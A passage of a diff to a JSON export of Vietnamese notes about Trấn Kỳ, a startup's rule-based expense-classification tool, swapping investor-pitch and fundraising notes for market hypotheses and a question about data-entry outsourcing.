những thứ gì? \r\n- [ ] Bọn em có quyền quy định vào văn hoá công ty thế nào?\r\n\t- [ ] Bọn em quyết định tốc độ làm việc. Nếu có điều khoản yêu cầu khách hàng chờ thì có được không?\r\n\r\nMời mọi người thuyết phục em rằng làm việc với mọi người là điều tốt nhất cho Trí\r\nChúng ta cũng đầu tư thời gian vào cho nhau rồi. Bây giờ mà lại không thành thì cũng phí cho cả hai. Nhưng cũng không thể vì thấy phí\r\n\r\n- [ ] Anh đã đầu tư vào startup tech nào rồi?\r\n- [ ] Điều gì ngăn anh không tham gia rồi ăn cắp code?\r\n- [ ] Rốt cuộc hình thức của mình là gì? Vì bọn anh không đầu tư tiền mà đầu tư công sức, lại còn quyết định cả kế hoạch thì đó là coreteam luôn rồi? Nếu như bọn em không ra quyết định được thì thực chất bọn em chỉ là thuê ngoài của tụi anh thôi?\r\n\r\n", + "Toàn bộ nội dung": "- Tự vận hành mà không cần quan tâm\r\n\t- Người dùng tự tìm đến mà không cần quảng cáo\r\n\t\t- Sản phẩm phù hợp thị trường\r\n- Có tiền để trả\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-07-28T09:43:00.000Z", "id": "4Z" }, { - "Tiêu đề": "Tìm nhà đầu tư vào Trấn Kỳ", - "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/4 Thành phẩm/Quỹ/Nhà đầu tư/Tìm nhà đầu tư vào Trấn Kỳ", + "Tiêu đề": "Cứ 13 reach thì có 1 link click", + "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/2 Giả thiết/Thành phẩm/Cứ 13 reach thì có 1 link click", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Tên dự án": "Trấn Kỳ", "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "# Trước khi có người chuyên đi kiếm tiền\r\n| Thành quả mong muốn | Giả thiết | Công việc |\r\n| ------------------------------------ | ---------------------------------------------------------- | ------------------------- |\r\n| Có một người chuyên kiếm tiền | Người có hứng thú với kỹ năng gây quỹ hứng thú với Trấn Kỳ | [[Kiếm người kiếm tiền]] |\r\n| Có kế hoạch chi tiêu cho 3 tháng tới | | [[Kế hoạch sử dụng tiền]] |\r\n\r\n# Sau khi có người chuyên đi kiếm tiền\r\n| Thành quả mong muốn | Giả thiết | Công việc |\r\n| ------------------------------------------- | ----------------------------------------------- | ----------------------- |\r\n| Thu hút được 1 nhà đầu tư quan tâm mỗi tuần | Có người hỏi | |\r\n| [[Một khoản đầu tư 120tr cho 3 tháng]] | Đến lúc có được điều này thì Kendy vẫn còn sống | [[Quỹ\\|Kêu gọi đầu tư]] |\r\n", + "Toàn bộ nội dung": "Đăng trên page QC reach 91, link click 7\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-11-24T10:59:00.000Z", + "Ngày tạo": "2023-10-31T09:23:00.000Z", "Ngày cập nhật": "2024-07-28T09:43:00.000Z", "id": "4a" }, { - "Tiêu đề": "Quỹ", - "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/4 Thành phẩm/Quỹ/Quỹ", + "Tiêu đề": "Cứ 20 người học thì có 500k", + "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/2 Giả thiết/Thành phẩm/Cứ 20 người học thì có 500k", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Tên dự án": "Trấn Kỳ", "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "| Thành quả mong muốn | Giả thiết | Công việc |\r\n| -------------------------------------- | ----------------------------------------------- | ------------------------------------------- |\r\n| [[Một khoản đầu tư 120tr cho 3 tháng]] | Đến lúc có được điều này thì Kendy vẫn còn sống | [[Kế hoạch gây quỹ|Kêu gọi đầu tư]] |\r\n\r\n## Tốc độ là không cần thiết\r\nVì việc giữ kín mã nguồn cũng không đem lại nhiều lợi thế cạnh tranh cho lắm.\r\n\r\n## Việc giữ kín mã nguồn cũng không đem lại nhiều lợi thế cạnh tranh cho lắm\r\nNhững app quản lý tài chính như MoneyLover hay Misa chắc chắn sẽ bắt chước được tính năng này thôi. Ai có hiểu biết về lập trình nhìn vào cũng thấy đây chỉ là bắt regex chứ có gì đâu mà khó. Chịu khó bỏ thời gian ra để debug là được. Nên từ đầu việc giữ bí mật mã nguồn cũng không đem lại nhiều lợi thế cạnh tranh cho lắm. Tạo ra [[Hiệu ứng mạng là hiệu ứng mà mỗi một người dùng gia nhập vào mạng lưới sẽ tạo thêm giá trị và cải thiện chất lượng cho cả mạng lưới đó|hiệu ứng mạng]] sẽ giữ chân được người dùng hơn, đồng thời dữ liệu người dùng sẽ trở nên phong phú, đa dạng và nhiều giá trị để khai thác hơn.\r\n\r\nBài chi tiết: [[Mô hình kinh doanh Trấn Kỳ]]{ .md-button .md-button--primary }\r\n\r\n## Chiếm lĩnh thị trường bằng việc tạo ra những nguồn tài nguyên chuyên sâu, có thể đáp ứng những nhu cầu đặc thù và cộng đồng thực chất\r\nNếu chỉ xem cộng đồng như là sân sau của công ty, để có thể tăng đơn hàng hay là nơi hỗ trợ khách hàng thì người dùng cũng chỉ cho mình những dữ liệu như vậy. Còn nếu ta xây dựng được sự tin tưởng ở người dùng rằng ta sẽ luôn tìm cách để đáp ứng nhu cầu của họ, rằng ta không xem họ là nguồn tài nguyên để khai thác mà xem họ là bạn của mình, dẫn đường cho họ đi qua những điều họ đang không biết nhưng cần biết, thì ta sẽ là thứ đầu tiên người tham gia nghĩ đến khi cần giới thiệu cho bạn mình. Ta cũng dễ kiếm được nhân sự có chất lượng với mức lương dễ chịu hơn.\r\n\r\n(Khi một cá nhân ý thức được rằng mình thuộc về và có ý nghĩa đối với một tập thể lớn hơn, cảm giác rằng có một mạng lưới các mối quan hệ được cấu trúc, thì họ có **ý thức cộng đồng (sense of community)** (Sarason, 1974). Các thành viên trong nhóm có một lịch sử chung, cùng chia sẻ những kinh nghiệm chung, biểu lộ sự gần gũi về mặt cảm xúc, cùng nhau chuyển tải sự thừa nhận chung về căn cước và số phận (Heller, 1989).) \r\n\r\nMô hình tương tự như [[Y Combinator]], Docker, Deno, WordPress \r\n\r\nXem thêm:: [[Việc có được khách hàng mới có thể tốn kém hơn từ 5 đến 25 lần so với việc giữ chân một khách hàng hiện có]]\r\n\r\n[[Kế hoạch xây dựng cộng đồng phát triển Trấn Kỳ]]\r\n[[Kế hoạch xây dựng đội ngũ]]\r\n", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày tạo": "2023-10-31T09:35:00.000Z", "Ngày cập nhật": "2024-07-28T09:43:00.000Z", "id": "4b" }, { - "Tiêu đề": "Điều nhà đầu tư quan tâm và điều muốn nhà đầu tư quan tâm", - "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/4 Thành phẩm/Quỹ/Điều nhà đầu tư quan tâm và điều muốn nhà đầu tư quan tâm", + "Tiêu đề": "Cách các công ty nhập liệu hoạt động", + "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/2 Giả thiết/Thị trường/Cách các công ty nhập liệu hoạt động", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Tên dự án": "Trấn Kỳ", "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "# Điều nhà đầu tư quan tâm\r\n## Trấn Kỳ là gì\r\nTrấn Kỳ là một chương trình tự động phân loại, gắn nhãn thông tin theo thói quen và cách sắp xếp của riêng bạn bằng tiếng Việt tự nhiên, và có thể tích hợp được vào hệ thống vận hành hiện tại của bạn như báo cáo ngân hàng, Google Keep, Google Sheet, Notion, Obsidian, Fibery, Odoo, v.v.\r\n\r\nVí dụ, với câu nhập đầu vào là:\r\n\r\n```\r\nthăn bò 30k lườn gà 20k (giảm giá) cho Parid ở coopmart vợ trả\r\n```\r\n\r\nKết quả đầu ra sẽ là:\r\n\r\n| Tên | Giá trị |\r\n| --------------------------- | ---------------- |\r\n| Món đồ | thăn bò, lườn gà |\r\n| Loại món đồ | Lương thực |\r\n| Phương thức thanh toán | vợ trả |\r\n| Loại phương thức thanh toán | Tiền mặt |\r\n| Nơi mua | CoopMart |\r\n| Loại nơi mua | Siêu thị |\r\n| Người thụ hưởng | Parid |\r\n| Loại người thụ hưởng | Gia đình |\r\n| Số tiền | 50000 |\r\n| Ghi chú | giảm giá |\r\n\r\nNgoài ra bạn còn có thể dùng nó để phân loại nhiều thứ khác. Ví dụ:\r\n- **Ý tưởng**: `Kĩ thuật viết văn %topic_Writing @tác_giả_a`\r\n- **Mối quan hệ**: `Gặp @ông_A bàn về việc X, có đi ăn ở !nhà_hàng_Y 200k ck vcb`\r\n- **Công việc**: `Công việc A cần giao cho @bạn_B liên hệ với @@đối_tác_C tại !quán_D với chi phí dự kiến 300k ck vcb và nhận output &&item_X`\r\n- **Cảm xúc**: `xem phim:Inception thấy chấn động`\r\n- **Sức khoẻ:** `chạy bộ 100m, hít đất 30 cái`\r\n\r\n## Tiềm năng thị trường\r\nTheo nhóm tìm hiểu thì Trấn Kỳ là chương trình duy nhất hiện nay ở Việt Nam giúp phân loại dữ liệu một cách tự động mà dễ tiếp cận với mọi người. ChatGPT thì thực ra cũng có thể làm được, nhưng Trấn Kỳ có những ưu điểm mà ChatGPT không thể sánh được: đảm bảo chính xác 100% theo phân loại người dùng, không cần kết nối mạng khi chạy, không cần gửi dữ liệu ra bên ngoài, chạy số lượng lớn nhanh và rẻ.\r\n\r\nTrong lĩnh vực tài chính cá nhân, với những app hiện có, ví dụ như MoneyLover, thì sau 5 năm hoạt động vẫn chỉ có 50k download, chứng tỏ nó vẫn còn quá bé, vẫn chưa chiếm lĩnh được thị trường. Ngoài ra, việc phân loại chi tiêu cũng là bước đầu tiên để một người gia nhập thị trường tài chính. Nó có thể giúp các ngân hàng tiếp cận những người không dùng tài khoản ngân hàng (nhóm unbanked). Nhất là với nhóm đối tượng học sinh, khi họ chưa đủ 18 tuổi để mở tài khoản ngân hàng. Đây là một mỏ dữ liệu cho các nhà đầu tư.\r\n\r\n### df\r\nBọn mình đã lọt được vào sự chú ý của [J.D.Everest](https://www.jdeverest.com/), một công ty tư vấn chiến lược cho các công ty quản lý tài sản gia đình (family office) và quỹ đầu tư tư nhân (private equity investment) ở Việt Nam. Theo [LinkedIn của người sáng lập](https://www.linkedin.com/in/swimano/) thì anh này trước khi sáng lập J.D.Everest thì từng là:\r\n- Thạc sĩ hệ thống thông tin,\r\n- Giám đốc điều hành số của [Early Risers Media Group](https://tuoitre.vn/early-risers-ke-hoach-dua-phim-viet-ra-the-gioi-20220424113728409.htm \"Early Risers và kế hoạch đưa phim Việt ra thế giới - Tuổi Trẻ Online\"), quản lý cho phim *Để Mai Tính*, *Long Ruồi*\r\n - [Người sáng lập công ty này](https://tuoitre.vn/vy-vincent-ngo---nguoi-tram-lang-271245.htm) viết kịch bản cho phim *Hancook* và sửa chữa kịch bản cho *Dòng máu anh hùng* và *Lửa Phật*\r\n- Đồng sáng lập *Quỹ Đầu tư Khởi nghiệp Quốc gia (Vietnam Startup Investment Fund – VNSIF)*\r\n\r\nBạn có thể xem [[J.D. Everest|các ghi chép của bọn mình khi ngồi nói chuyện với họ]].\r\n\r\nBên này nói rằng nếu làm app thu chi cá nhân và đánh thị trường Hàn Quốc trước thì khả năng ăn là 70%, vì bọn này mới thắng crypto. Tuy nhiên, một chị khác cũng từng làm fintech cho Hàn Quốc cho rằng fintech HQ đã phát triển trước mình 10 năm rồi, bây giờ tham gia vào thì không dễ ăn.\r\n\r\n## Lịch sử phát triển\r\n```mermaid\r\ngantt\r\ndateFormat D/M/YY\r\naxisFormat %d/%m\r\ntitle Lịch sử phát triển Trấn Kỳ\r\n\r\nsection Làm MVP\r\nTạo phần lõi : crit, 5/7/23, 13/8/23\r\nTạo plugin cho Google Keep và Fibery: 23/8/23, 13/10/23\r\n\r\nsection Xây dựng sản phẩm\r\nViết hướng dẫn sử dụng: 4/9/23, 10/10/23\r\nSửa web: 28/10/23\r\nLên kế hoạch: 11/11/23\r\nPhỏng vấn (5 buổi): 11/11/23, 23/11/23\r\nGặp đối tác (4 buổi): 18/11/23, 24/11/23\r\n\r\nsection Dựng web cho Trấn Kỳ\r\nDựng web cho Trấn Kỳ: 5/1/24, 7/2/24\r\n```\r\n\r\n## Khám phá sâu về người dùng\r\nCó những người sử dụng chương trình này không chỉ để phân loại thu chi, mà còn để phân loại các loại dữ liệu khác, cũng như kết hợp vào hệ thống hoạch định tài nguyên doanh nghiệp của họ.\r\n\r\nBài chi tiết: [[Lý do viết Trấn Kỳ]]{ .md-button .md-button--primary }\r\n\r\n## Mô hình kinh doanh\r\nDự kiến những người có nhu cầu phân loại dữ liệu lớn nhất là:\r\n- Những doanh nghiệp vừa và nhỏ\r\n- Những nhà nghiên cứu hoặc làm dự án xã hội mới được cấp quỹ làm dự án\r\n\r\nĐặc điểm chung của nhóm này là:\r\n1. dữ liệu của họ đủ lớn và quy trình đủ phức tạp để họ phải có một hệ thống xử lý dữ liệu mà các sản phẩm no-code không đáp ứng được, nhưng \r\n2. nguồn lực cũng đủ nhỏ để không đủ tiền thuê lập trình viên cho mình và không đủ thời gian để tự học lập trình\r\n\r\nThế nên hiện tại nhóm đang mở các buổi hỗ trợ các đối tượng này giải quyết nhu cầu công việc thông qua việc hướng dẫn lập trình để thu hút họ. Trong tương lai khi có thêm nhân lực thì có thể suy nghĩ thêm những cách làm sau:\r\n- SaaS: tính theo số lượng truy vấn hoặc plugin\r\n- Bán dữ liệu\r\n- Gia công cho các công ty\r\n- Quảng cáo\r\n\r\nBài chi tiết: [[Mô hình kinh doanh Trấn Kỳ|Mô hình kinh doanh Trấn Kỳ]]{ .md-button .md-button--primary }\r\n\r\n## Đội ngũ\r\nHiện tại nhóm có 1 người làm toàn thời gian ở tất cả các vấn đề (nghiên cứu, lập trình, truyền thông, phỏng vấn, v.v.) và 1 người làm quản lý kiêm nhân sự. Ngoài ra còn có 2 người khác cũng quan tâm và thường xuyên cho đóng góp. Tất cả đều đã làm việc với nhau hơn 2 năm cùng Quả Cầu.\r\n\r\n# Điều muốn nhà đầu tư quan tâm\r\n## Trấn Kỳ được sinh ra là để giúp Kendy\r\nGiúp đỡ Kendy là điều kiện tiên quyết để nhóm xem xét đề nghị đầu tư của bạn. Bạn không cần phải quan tâm đến Kendy, chỉ cần nhóm thấy được đề nghị đầu tư của bạn có lợi nhất cho Kendy thì nhóm sẽ đồng ý.\r\n[[Lý do viết Trấn Kỳ]], [[Kế hoạch giúp đỡ người đang kiệt quệ vì nợ]]\r\n\r\n## [[Người dùng hài lòng với chất lượng sản phẩm, không phải tốc độ làm ra nó]] \r\n- [[Đa số startup không chết vì cạnh tranh với đối thủ, mà vì không có người dùng sản phẩm của mình]]\r\n- [[Dựa vào KPI thì bộ phận kinh doanh sẽ có tiếng nói lớn nhất, còn đội phát triển sản phẩm rất ít có tiếng nói]]\r\n- [[Thứ quyết định hiệu quả của việc kinh doanh là văn hoá doanh nghiệp và phản ứng của thị trường về mình]]\r\n- [[Việc ưu tiên ra quyết định nhanh làm ta thấy thảo luận và dành thời gian xây dựng kế hoạch và nghiên cứu là phí thời gian]]\r\n- [[Áp lực giết chết sự sáng tạo]]\r\n- [[When someone's taking time to do something right in the present, they're a perfectionist with no ability to prioritize, whereas when someone took time to do something right in the past, they're a master artisan of great foresight]]\r\n- [[Nếu bạn nghĩ rằng bạn có thể hoàn thành đúng kế hoạch, có thể bạn đang ngộ nhận]]\r\n- [[Việc mất tiền làm tâm lý con người bị đau dù có thể nó vô lý]]\r\n- [[Nỗi ám ảnh với sự hiệu quả có thể đến từ nỗi sợ chết]]\r\n- [[Việc thuê ngoài chỉ giải quyết được một lần, trong khi phải thử rất nhiều lần]]\r\n## Sức khoẻ cũng là một loại tài nguyên cần được tối ưu hoá\r\n- [[Phân tích quyết định đa tiêu chí (MCDA) là phương pháp để tìm điểm đánh đổi tối ưu nhất]] \r\n\r\n## Động lực nội sinh và sự tin tưởng tạo ra tổ chức đáng làm\r\n- [[Nhìn thấy được người kia đang làm gì làm tăng sự tin tưởng đối với họ]]\r\n- [[Một tổ chức đáng làm tạo ra được động lực nội sinh ở nhân viên]]\r\n\r\n## Quả Cầu là một vùng đất, một sân chơi, một cộng đồng, một mạng lưới, một nền tảng, một hệ sinh thái\r\nNó là một khái niệm lơ lửng, một vật thể trong suốt. Quả Cầu hướng đến việc trở thành một tổ chức không có sự phân cấp và người tham gia không làm vì trách nhiệm, lấy nhu cầu của thành viên (vốn nhiều vô kể và thay đổi liên tục) làm mục tiêu của tổ chức, để họ trở thành những người có kỹ năng đa dạng, tư duy liên ngành, và sự khoẻ mạnh và hạnh phúc toàn diện, dựa trên triết học của Deleuze và Guattari, khoa học phức hợp, game phiêu lưu nhập vai, nền kinh tế không dùng tiền, và các công cụ lưu dữ liệu tại máy người dùng.\r\n", + "Toàn bộ nội dung": "# How large is the market of text data entry classification/annotation? And how do data entry outsourcing companies work?\r\nIn my understanding, structuring unstructured data is a necessary activity in our life. For example, if you want to have a financial report of what you buy this month, you first need to write down your transaction, like `fish 50k`. This is raw, unstructured data. Then at the end of the month you need to label/annotate/classify the data like this:\r\n\r\n* Object: `fish`\r\n* Type of Object: `food`\r\n* Place of transaction: `market`\r\n* Type of place of transaction: `offline`\r\n* Consumer: `myself`\r\n* Type of consumer: `myself`\r\n* Price: `50000 VND`\r\n\r\nAnd that's just one piece of input data. Imagine how large the data that specialized companies or projects (medical, law, finance, etc.) need to handle. In my understanding, their options are:\r\n\r\n* Have the staffs to do that manually, or\r\n* Have a dedicated data entry clerk role, or\r\n* Outsource that to a data entry company, or\r\n* Outsource that to a data entry freelancer, or\r\n* Outsource the automation task to a freelance programmer, or\r\n* Buy similar solutions from big data or information system companies\r\n\r\nNow, I wrote an app to automate this process. Technically ChatGPT can also do this, but its approach is statistical-based, while this app's approach is rule-based. If the raw data is just keywords, then this app is much faster, cheaper and more accurate than ChatGPT.\r\n\r\nAnyhow, with this app I guess I can work on multiple data entry jobs at once. So my options are either as a data entry freelancer or an employee of an outsourcing data entry company.\r\n\r\nIt will be easy as long as the clients only care about the final result. However, I have no insight on outsourcing data entry companies. From what I got, it's likely that they have a dedicated system to manage all data entry tasks. I guess I can only get benefit if:\r\n\r\n* They haven't implemented automatic classification system, \r\n* Raw data from the system can be copy-pasted to outside \r\n* Resulted data from outside of the system can be copy-pasted into it\r\n* The task they give me is only about classify/annotate text raw data\r\n* I can work online. (Or if I must work offline, then at least there is no overseer observes me, which I guess it's not possible.) \r\n\r\nI've tried to apply to them to gain more insight but haven't got any success. I'm still in my way to look for such company.\r\n\r\nIn general, do you know how large the market of text data entry keyword detection and classification/annotation currently is? And how do data entry outsourcing companies work?\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", @@ -4789,15 +4750,15 @@ "id": "4c" }, { - "Tiêu đề": "Khảo sát trong các nhóm", - "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/4 Thành phẩm/Truyền thông/Khảo sát trong các nhóm", + "Tiêu đề": "Giả thiết về thị trường của nền kinh tế phi chính thức", + "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/2 Giả thiết/Thị trường/Giả thiết về thị trường của nền kinh tế phi chính thức", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Tên dự án": "Trấn Kỳ", "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "# Mỗi lần phân loại chi tiêu bạn tốn bao nhiêu thời gian?\r\nCác câu hỏi trong phần [khảo sát sâu](https://xn--qucu-hr5aza.cc/khao-sat-nhu-cau-phan-loai-tu-dong-va-lap-trinh/?utm_source=F+G+%C2%BB+C%E1%BB%99ng+%C4%91%E1%BB%93ng+C%E1%BB%91+v%E1%BA%A5n+t%C3%A0i+ch%C3%ADnh+Vi%E1%BB%87t+Nam+-+Vietnam+Wealth+Advisors+%28VWA%29&utm_medium=social&utm_campaign=Tr%E1%BA%A5n%20K%E1%BB%B3&utm_content=%C4%91%C4%83ng%20l%E1%BA%A7n%20%C4%91%E1%BA%A7u) sẽ giúp bạn hiểu rõ hơn những gì mình cần ở một giải pháp tự động hoá việc phân loại.\r\nCác câu hỏi trong phần [khảo sát sâu](https://xn--qucu-hr5aza.cc/khao-sat-nhu-cau-phan-loai-tu-dong-va-lap-trinh/?utm_source=F%20G%20%C2%BB%20QU%E1%BA%A2N%20L%C3%9D%20T%C3%80I%20CH%C3%8DNH%20C%C3%81%20NH%C3%82N&utm_medium=social&utm_campaign=Tr%E1%BA%A5n%20K%E1%BB%B3&utm_content=%C4%91%C4%83ng%20l%E1%BA%A7n%20%C4%91%E1%BA%A7u) sẽ giúp bạn hiểu rõ hơn những gì mình cần ở một giải pháp tự động hoá việc phân loại.\r\n", + "Toàn bộ nội dung": "- Người lương thiện kiệt quệ vì nợ có phải là một thất bại của thị trường không?\r\n- Đó có phải cũng là những thị trường chưa ai đụng tới không?\r\n- \r\n\r\nThứ họ cần là hiệu ứng mạng lưới? Cũng có những nhà đầu tư vào [[Nền kinh tế xanh]], [[Nền kinh tế chăm sóc]]\r\n[[Nền kinh tế phi chính thức bao gồm các hoạt động kinh tế không có đăng ký về mặt pháp lý, không có số liệu thống kê và không được kiểm soát bởi nhà nước]]\r\nTại sao chỉ có nhà nước mới giải quyết được chuyện này? Sao ko có các tổ chức dân sự có nguồn từ nước ngoài mà giống như CEP? \r\n\r\n[[Có những lúc đầu tư vào một người để họ tạo ra sản phẩm của họ sẽ đem lại nhiều lợi nhuận hơn trả lương cho họ để họ làm cho sản phẩm của mình]]\r\n\r\n[[Các câu hỏi về việc thành lập quỹ tín dụng, nền kinh tế phi chính thức, bản chất CSR của doanh nghiệp và tâm lý con người về tiền]]\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", @@ -4806,15 +4767,15 @@ "id": "4d" }, { - "Tiêu đề": "Lời mời tham gia đầu tư vào Trấn Kỳ", - "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/4 Thành phẩm/Truyền thông/Lời mời tham gia đầu tư vào Trấn Kỳ", + "Tiêu đề": "Thị trường phần mềm hạch toán tự động", + "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/2 Giả thiết/Thị trường/Thị trường phần mềm hạch toán tự động", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Tên dự án": "Trấn Kỳ", "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "# Lời mời tham gia đầu tư vào Trấn Kỳ\r\nTrấn Kỳ là một chương trình tự động phân loại, gắn nhãn thông tin theo thói quen và cách sắp xếp của riêng bạn bằng tiếng Việt tự nhiên, và có thể tích hợp được vào hệ thống vận hành hiện tại của bạn như báo cáo ngân hàng, Google Keep, Google Sheet, Notion, Obsidian, Fibery, Odoo, v.v.\r\n\r\nVí dụ, với câu nhập đầu vào là:\r\n\r\n```\r\nthăn bò 30k lườn gà 20k (giảm giá) cho Parid ở coopmart vợ trả\r\n```\r\n\r\nKết quả đầu ra sẽ là:\r\n\r\n| Tên | Giá trị |\r\n| --------------------------- | ---------------- |\r\n| Món đồ | thăn bò, lườn gà |\r\n| Loại món đồ | Lương thực |\r\n| Phương thức thanh toán | vợ trả |\r\n| Loại phương thức thanh toán | Tiền mặt |\r\n| Nơi mua | CoopMart |\r\n| Loại nơi mua | Siêu thị |\r\n| Người thụ hưởng | Parid |\r\n| Loại người thụ hưởng | Gia đình |\r\n| Số tiền | 50000 |\r\n| Ghi chú | giảm giá |\r\n\r\nNgoài ra bạn còn có thể dùng nó để phân loại nhiều thứ khác. Ví dụ:\r\n- **Ý tưởng**: `Kĩ thuật viết văn %topic_Writing @tác_giả_a`\r\n- **Mối quan hệ**: `Gặp @ông_A bàn về việc X, có đi ăn ở !nhà_hàng_Y 200k ck vcb`\r\n- **Công việc**: `Công việc A cần giao cho @bạn_B liên hệ với @@đối_tác_C tại !quán_D với chi phí dự kiến 300k ck vcb và nhận output &&item_X`\r\n- **Cảm xúc**: `xem phim:Inception thấy chấn động`\r\n- **Sức khoẻ:** `chạy bộ 100m, hít đất 30 cái`\r\n\r\n## 👉 Link: tranky.deno.dev/tbkn\r\n# Tiềm năng thị trường\r\nTrấn Kỳ là chương trình duy nhất giúp phân loại tự động dễ tiếp cận với mọi người bằng tiếng Việt. Không có bất cứ app thu chi nào làm được điều này. Với những app hiện có, ví dụ như MoneyLover, thì sau 5 năm hoạt động vẫn chỉ có 50k download, chứng tỏ nó vẫn còn quá bé, vẫn chưa chiếm lĩnh được thị trường. Khi nào có ai đó chiếm trên 70% thì mới không nên tham gia. \r\n\r\nViệc phân loại chi tiêu là bước đầu tiên để một người gia nhập thị trường tài chính. Nó có thể giúp các ngân hàng tiếp cận những người không dùng tài khoản ngân hàng (nhóm [unbanked](https://www.investopedia.com/terms/u/unbanked.asp)). Điều này đặc biệt phù hợp với nhóm đối tượng học sinh, khi họ chưa đủ 18 tuổi để mở tài khoản ngân hàng. Đây là một mỏ dữ liệu cho các nhà đầu tư.\r\n\r\n# Khám phá sâu về người dùng\r\nCó những người sử dụng chương trình này không chỉ để phân loại thu chi, mà còn để phân loại các loại dữ liệu khác, cũng như kết hợp vào hệ thống hoạch định tài nguyên doanh nghiệp của họ.\r\n\r\n# Mô hình kinh doanh\r\nHiện tại thì đang mở các lớp học phục vụ cho:\r\n- Những người có một số vốn kiểu vài chục triệu để đầu tư kinh doanh, \r\n- Những người làm nghiên cứu hoặc làm dự án xã hội mới được cấp quỹ làm dự án\r\n\r\nTrong tương lai khi có thêm nhân lực thì có thể có thêm những cách làm sau:\r\n- SaaS: tính theo số lượng truy vấn hoặc plugin\r\n- Bán dữ liệu\r\n- Gia công cho các công ty\r\n- Quảng cáo\r\n\r\n# Đội ngũ\r\n1 người làm tech toàn thời gian và 1 người làm nhân sự. Ngoài ra còn có 2 người khác cũng quan tâm và thường xuyên cho đóng góp của mình. Tất cả đều đã làm việc với nhau hơn 2 năm cùng Quả Cầu.\r\n\r\n📷Hình 1: Giao diện web Trấn Kỳ (link: tranky.deno.dev/tbkn) \r\n📷Hình 2: Tính năng chuyển dữ liệu từ Google Keep vào Fibery\r\n📷Hình 3: Lịch sử phát triển Trấn Kỳ\r\n\r\n![[Giao diện web Trấn Kỳ.png]]\r\n![[Ξ Thiết lập/Ảnh/Trấn Kỳ/Keep to Fibery.png]]\r\n![](https://i.imgur.com/gQIGF2J.png)\r\n\r\n\r\nBài chi tiết: \r\n- [[Lý do viết Trấn Kỳ]]\r\n- [[Mô hình kinh doanh Trấn Kỳ|Mô hình kinh doanh Trấn Kỳ]]\r\n", + "Toàn bộ nội dung": "- Phức tạp\r\n- Phụ thuộc vào tính năng có sẵn\r\n- Tốn tiền\r\n\r\n\r\n\r\n\r\n![https://www.youtube.com/watch?v=q1elwHJq3-Y](https://www.youtube.com/watch?v=q1elwHJq3-Y) \r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", @@ -4823,15 +4784,15 @@ "id": "4e" }, { - "Tiêu đề": "Lời mời xây dựng một startup", - "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/4 Thành phẩm/Truyền thông/Lời mời xây dựng một startup", + "Tiêu đề": "Giả thiết về thái độ người dùng", + "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/2 Giả thiết/Tiếp nhận người dùng/Giả thiết về thái độ người dùng", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Tên dự án": "Trấn Kỳ", "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "# Lời mời xây dựng một startup để làm những việc một người bạn sẽ làm\r\nChào mọi người,\r\n\r\nTrong thời gian qua bọn mình đã viết [Trấn Kỳ](https://lậptrình.quảcầu.cc/%F0%9F%91%8Ftr%E1%BA%A5n%20k%E1%BB%B3/?utm_source=CW+Obsidian%2C+qu%E1%BA%A3n+l%C3%BD+d%E1%BB%B1+%C3%A1n+v%C3%A0+c%C3%B4ng+c%E1%BB%A5+ngh%C4%A9+%C2%BB+L%E1%BB%9Di+m%E1%BB%9Di+tham+gia+startup+c%E1%BB%A7a+c%E1%BB%99ng+%C4%91%E1%BB%93ng&utm_medium=vault&utm_campaign=Tr%E1%BA%A5n+K%E1%BB%B3&utm_content=ph%E1%BA%A7n+m%E1%BB%9F+%C4%91%E1%BA%A7u), một chương trình phân loại câu nhập bằng tiếng Việt tự nhiên, với mục đích là để [[Lý do viết Trấn Kỳ|giúp Kendy]]. Chương trình đã viết xong. Bọn mình nhận thấy nó còn nhiều tiềm năng để phát triển nó, và việc phát triển đó có thể giải quyết nhiều nhu cầu khác nhau, không chỉ là Kendy, nên bọn mình muốn biến nó thành một startup và viết lời mời này.\r\n\r\nĐây là một startup vì nó phải có tăng trưởng và doanh thu, và các hoạt động của nó sẽ để làm những việc mà một người bạn sẽ làm. Trước mắt mục tiêu của nó là để hỗ trợ Kendy. Sau khi Kendy hết khó khăn rồi thì tuỳ vào quyết định của những người ở lại đến lúc đó.\r\n\r\n# Nhu 